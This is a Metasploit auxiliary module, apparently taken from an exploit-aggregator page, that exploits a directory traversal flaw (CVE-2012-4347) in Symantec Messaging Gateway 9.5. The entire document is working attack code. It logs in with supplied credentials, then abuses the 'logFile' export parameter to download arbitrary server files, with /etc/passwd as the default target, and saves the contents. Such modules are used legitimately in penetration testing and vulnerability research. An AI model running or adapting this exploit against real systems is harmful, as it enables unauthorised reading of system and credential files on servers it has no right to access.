Exploit for Symantec Messaging Gateway 9.5 Log File Download Vulnerability

## https://sploitus.com/exploit?id=MSF:AUXILIARY-SCANNER-HTTP-SYMANTEC_BRIGHTMAIL_LOGFILE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Symantec Messaging Gateway 9.5 Log File Download Vulnerability',
        'Description' => %q{
          This module will download a file of your choice against Symantec Messaging
          Gateway.  This is possible by exploiting a directory traversal vulnerability
          when handling the 'logFile' parameter, which will load an arbitrary file as
          an attachment.  Note that authentication is required in order to successfully
          download your file.
        },
        'References' => [
          ['CVE', '2012-4347'],
          ['EDB', '23110'],
          ['OSVDB', '88165'],
          ['BID', '56789'],
          ['URL', 'https://www.broadcom.com/support/security-center/securityupdates/detail?fid=security_advisory&pvid=security_advisory&suid=20120827_00&year=2012']
        ],
        'Author' => [
          'Ben Williams <ben.williams[at]ngssecure.com>',
          'sinn3r'
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2012-11-30',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(41080),
        OptString.new('FILENAME', [true, 'The file to download', '/etc/passwd']),
        OptString.new('USERNAME', [true, 'The username to login as']),
        OptString.new('PASSWORD', [true, 'The password to login with'])
      ]
    )
  end

  def auth(username, password, sid, last_login)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => '/brightmail/login.do',
      'headers' => {
        'Referer' => "http://#{peer}/brightmail/viewLogin.do"
      },
      'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
      'vars_post' => {
        'lastlogin' => last_login,
        'userLocale' => '',
        'lang' => 'en_US',
        'username' => username,
        'password' => password,
        'loginBtn' => 'Login'
      }
    })

    if res and res.headers['Location']
      new_uri = res.headers['Location'].scan(/^http:\/\/[\d\.]+:\d+(\/.+)/).flatten[0]
      res = send_request_cgi({
        'uri' => new_uri,
        'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}"
      })

      return true if res and res.body =~ /Logged in as: #{username}/
    end

    return false
  end

  def get_login_data
    sid = '' # From cookie
    last_login = '' # A hidden field in the login page

    res = send_request_raw({ 'uri' => '/brightmail/viewLogin.do' })
    if res and !res.get_cookies.empty?
      sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
    end

    if res
      last_login = res.body.scan(/<input type="hidden" name="lastlogin" value="(.+)"\/>/).flatten[0] || ''
    end

    return sid, last_login
  end

  def download_file(sid, fname)
    res = send_request_cgi({
      'uri' => '/brightmail/export',
      'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
      'vars_get' => {
        'type' => 'logs',
        'logFile' => "../../#{fname}",
        'logType' => '1',
        'browserType' => '1'
      }
    })

    if not res
      print_error("Unable to download the file. The server timed out.")
      return
    elsif res and res.body.empty?
      print_error("File not found or empty.")
      return
    end

    vprint_line
    vprint_line(res.body)

    f = ::File.basename(fname)
    p = store_loot('symantec.brightmail.file', 'application/octet-stream', rhost, res.body, f)
    print_good("File saved as: '#{p}'")
  end

  def run_host(ip)
    sid, last_login = get_login_data
    if sid.empty? or last_login.empty?
      print_error("Missing required login data.  Cannot continue.")
      return
    end

    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    if not auth(username, password, sid, last_login)
      print_error("Unable to login.  Cannot continue.")
      return
    else
      print_good("Logged in as '#{username}:#{password}'")
    end

    fname = datastore['FILENAME']
    download_file(sid, fname)
  end
end